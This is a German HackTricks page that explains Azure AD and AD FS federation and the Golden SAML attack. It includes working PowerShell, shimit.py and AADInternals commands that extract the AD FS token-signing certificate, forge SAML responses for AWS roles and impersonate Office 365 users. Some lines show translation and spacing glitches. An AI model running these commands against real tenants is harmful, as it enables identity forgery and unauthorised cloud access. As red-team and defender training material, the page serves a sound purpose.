Az - Federation

Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Aus den Dokumenten:Föderation ist eine Sammlung von Domänen, die Vertrauen aufgebaut haben. Das Vertrauensniveau kann variieren, umfasst jedoch in der Regel Authentifizierung und beinhaltet fast immer Autorisierung. Eine typische Föderation könnte eine Anzahl von Organisationen umfassen, die Vertrauen für gemeinsamen Zugriff auf eine Reihe von Ressourcen aufgebaut haben.

Sie können Ihre On-Premises-Umgebung mit Azure AD föderieren und diese Föderation für die Authentifizierung und Autorisierung verwenden. Diese Anmeldeart stellt sicher, dass alle Benutzer die Authentifizierung vor Ort durchführen. Diese Methode ermöglicht es Administratoren, strengere Zugriffskontrollen zu implementieren. Die Föderation mit AD FS und PingFederate ist verfügbar.

Grundsätzlich erfolgt in der Föderation die gesamte Authentifizierung in der On-Prem-Umgebung, und der Benutzer erlebt SSO in allen vertrauenswürdigen Umgebungen. Benutzer können daher auf Cloud-Anwendungen zugreifen, indem sie ihre On-Prem-Anmeldeinformationen verwenden.

Für den Austausch aller Authentifizierungs- und Autorisierungsinformationen zwischen den Anbietern wird das Security Assertion Markup Language (SAML) verwendet.

In jedem Föderations-Setup gibt es drei Parteien:

  • Benutzer oder Client

  • Identitätsanbieter (IdP)

  • Dienstanbieter (SP)

(Bilder von https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Zunächst greift ein Benutzer auf eine Anwendung (Dienstanbieter oder SP, wie z.B. AWS-Konsole oder vSphere-Webclient) zu. Dieser Schritt kann umgangen werden, indem der Client direkt zum IdP (Identitätsanbieter) geleitet wird, abhängig von der spezifischen Implementierung.

  2. Anschließend identifiziert der SP den geeigneten IdP (z.B. AD FS, Okta) für die Benutzerauthentifizierung. Er erstellt dann eine SAML (Security Assertion Markup Language) AuthnRequest und leitet den Client zum ausgewählten IdP um.

  3. Der IdP übernimmt die Authentifizierung des Benutzers. Nach der Authentifizierung wird ein SAMLResponse vom IdP formuliert und über den Benutzer an den SP weitergeleitet.

  4. Schließlich bewertet der SP die SAMLResponse. Bei erfolgreicher Validierung, was auf eine Vertrauensbeziehung zum IdP hinweist, erhält der Benutzer Zugriff. Dies markiert den Abschluss des Anmeldevorgangs und ermöglicht es dem Benutzer, den Dienst zu nutzen.

Wenn Sie mehr über SAML-Authentifizierung und häufige Angriffe erfahren möchten, gehen Sie zu:

Pivoting

  • AD FS ist ein claims-basiertes Identitätsmodell.

  • "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."

  • Ansprüche für einen Benutzer werden in den SAML-Token geschrieben und dann vom IdP signiert, um Vertraulichkeit zu gewährleisten.

  • Ein Benutzer wird durch ImmutableID identifiziert. Es ist global eindeutig und in Azure AD gespeichert.

  • TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.

Goldener SAML-Angriff:

  • Bei ADFS wird die SAML-Antwort von einem Token-Signaturzertifikat signiert.

  • Wenn das Zertifikat kompromittiert ist, ist es möglich, sich als BELIEBIGER Benutzer, der mit Azure AD synchronisiert ist, bei Azure AD anzumelden!

  • Genau wie bei unserem PTA-Missbrauch hat die Änderung des Passworts für einen Benutzer oder MFA keine Auswirkungen, da wir die Authentifizierungsantwort fälschen.

  • Das Zertifikat kann vom AD FS-Server mit DA-Berechtigungen extrahiert und dann von einem beliebigen mit dem Internet verbundenen Gerät verwendet werden.

Goldener SAML

Der Prozess, bei dem ein Identitätsanbieter (IdP) eine SAMLResponse zur Autorisierung der Benutzeranmeldung erstellt, ist entscheidend. Abhängig von der spezifischen Implementierung des IdP kann die Antwort mit dem privaten Schlüssel des IdP signiert oder verschlüsselt sein. Dieses Verfahren ermöglicht es dem Dienstanbieter (SP), die Echtheit der SAMLResponse zu bestätigen und sicherzustellen, dass sie tatsächlich von einem vertrauenswürdigen IdP ausgestellt wurde.

Ein Vergleich kann mit dem Golden Ticket-Angriff gezogen werden, bei dem der Schlüssel zur Authentifizierung der Identität und Berechtigungen des Benutzers (KRBTGT für Goldene Tickets, privater Schlüssel für das Token-Signieren für Golden SAML) manipuliert werden kann, um ein Authentifizierungsobjekt (TGT oder SAMLResponse) zu fälschen. Dies ermöglicht die Übernahme der Identität eines beliebigen Benutzers und gewährt unbefugten Zugriff auf den SP.

Goldene SAMLs bieten bestimmte Vorteile:

  • Sie können remote erstellt werden, ohne Teil der betreffenden Domäne oder Föderation zu sein.

  • Sie bleiben auch bei aktivierter Zwei-Faktor-Authentifizierung (2FA) wirksam.

  • Der private Schlüssel zum Signieren von Tokens erneuert sich nicht automatisch.

  • Das Ändern des Benutzerpassworts macht einen bereits generierten SAML nicht ungültig.

AWS + AD FS + Goldener SAML

Active Directory Federation Services (AD FS) ist ein Microsoft-Dienst, der den sicheren Austausch von Identitätsinformationen zwischen vertrauenswürdigen Geschäftspartnern (Föderation) erleichtert. Es ermöglicht im Wesentlichen einem Domänendienst, Benutzeridentitäten mit anderen Dienstanbietern innerhalb einer Föderation zu teilen.

Indem AWS der kompromittierten Domäne vertraut (in einer Föderation), kann diese Schwachstelle ausgenutzt werden, um potenziell beliebige Berechtigungen in der AWS-Umgebung zu erlangen. Der Angriff erfordert den privaten Schlüssel, der zum Signieren der SAML-Objekte verwendet wird, ähnlich wie beim benötigten KRBTGT bei einem Golden Ticket-Angriff. Der Zugriff auf das AD FS-Benutzerkonto reicht aus, um diesen privaten Schlüssel zu erhalten.

Die Anforderungen für die Durchführung eines goldenen SAML-Angriffs umfassen:

  • Privater Schlüssel zum Signieren von Tokens

  • Öffentliches Zertifikat des IdP

  • IdP-Name

  • Rollenname (zu übernehmende Rolle)

  • Domäne\Benutzername

  • Rollensitzungsname in AWS

  • Amazon-Konto-ID

Nur die fett gedruckten Elemente sind obligatorisch. Die anderen können nach Belieben ausgefüllt werden.

Um den privaten Schlüssel zu erhalten, ist der Zugriff auf das AD FS-Benutzerkonto erforderlich. Von dort aus kann der private Schlüssel mit Tools wie mimikatz aus dem persönlichen Speicher exportiert werden. Um die anderen erforderlichen Informationen zu sammeln, können Sie das Microsoft.Adfs.Powershell-Snapin wie folgt verwenden, wobei Sie als ADFS-Benutzer angemeldet sind:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Mit all diesen Informationen ist es möglich, eine gültige SAMLResponse als Benutzer zu vergessen, den Sie mit shimit impersonieren möchten:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

On-prem -> Cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Es ist auch möglich, die ImmutableID von nur Cloud-Benutzern zu erstellen und sich als sie auszugeben.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated